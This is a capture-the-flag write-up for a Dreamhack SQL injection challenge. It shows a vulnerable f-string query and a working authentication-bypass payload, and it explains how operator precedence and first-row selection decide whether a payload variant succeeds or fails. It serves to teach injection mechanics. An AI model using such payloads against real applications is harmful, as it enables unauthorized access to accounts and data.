Post

[Dreamhack] simple_sql_chatgpt

[Dreamhack] simple_sql_chatgpt

Challenge Overview

  • Challenge: simple_sql_chatgpt
  • Platform: Dreamhack
  • Category: Web — SQL injection

Vulnerable Query

The application constructs an SQL query using unsanitised user input:

1
res = query_db(f"select * from users where userlevel='{userlevel}'")

Resulting SQL:

1
SELECT * FROM users WHERE userlevel = '[input]'

Because the userlevel parameter is directly embedded into the query, it is vulnerable to SQL injection.

Successful Payload

1
' OR '1'='1' AND userid = 'admin' --

Resulting Query

1
2
SELECT * FROM users 
WHERE userlevel = '' OR '1'='1' AND userid = 'admin' -- '

Interpretation (Operator Precedence)

1
2
userlevel = '' 
OR ('1'='1' AND userid = 'admin')

Since AND has higher precedence than OR, the condition is evaluated as above.

  • '1'='1' → TRUE\
  • userid = 'admin' → TRUE (only for admin)

Therefore:

1
FALSE OR (TRUE AND TRUE)  TRUE

Only the admin row satisfies the condition.

The application retrieves the first result:

1
return (rv[0] if rv else None)

Since only the admin row is returned, the following condition is satisfied:

1
if userid == 'admin' and userlevel == 0:

As a result, the flag is returned.

Failed Payload

1
0' OR '1'='1' AND userid = 'admin' --

Resulting Query

1
2
SELECT * FROM users 
WHERE userlevel = '0' OR '1'='1' AND userid = 'admin' -- '

Interpretation

1
2
(userlevel = '0') 
OR ('1'='1' AND userid = 'admin')

Evaluation

Guest Row

1
2
userid = 'guest'
userlevel = 0
1
2
3
(userlevel = '0')  TRUE
('1'='1' AND userid = 'admin')  FALSE
TRUE OR FALSE  TRUE

Admin Row

1
2
userid = 'admin'
userlevel = 0
1
2
3
(userlevel = '0')  TRUE
('1'='1' AND userid = 'admin')  TRUE
TRUE OR TRUE  TRUE

Both rows satisfy the condition and are returned.

Why It Fails

The application selects only the first row:

1
return (rv[0] if rv else None)

SQLite returns rows in insertion order:

1
guest → admin

So the selected row is:

1
guest

Therefore:

1
userid == 'admin'  FALSE

Access to the flag is denied.

Key Insight

The condition:

1
(userlevel = '0') OR ('1'='1' AND userid = 'admin')

means:

  • Any user with userlevel = 0
  • OR specifically the admin user

Since both guest and admin have userlevel = 0, both are included.

The condition:

1
userid = 'admin'

is only applied to the right side of the OR, not globally.

Summary

1
2
3
4
5
6
7
Payload 1:
' OR '1'='1' AND userid = 'admin' --
→ Only admin returned → Success

Payload 2:
0' OR '1'='1' AND userid = 'admin' --
→ Guest + admin returned → guest selected → Failure

Conclusion

This vulnerability arises due to:

  • Unsanitised SQL query construction
  • Misuse of operator precedence
  • Application logic relying on the first returned row

It demonstrates that successful SQL injection depends not only on bypassing conditions, but also on controlling the result set and its ordering.

This post is licensed under CC BY 4.0 by the author.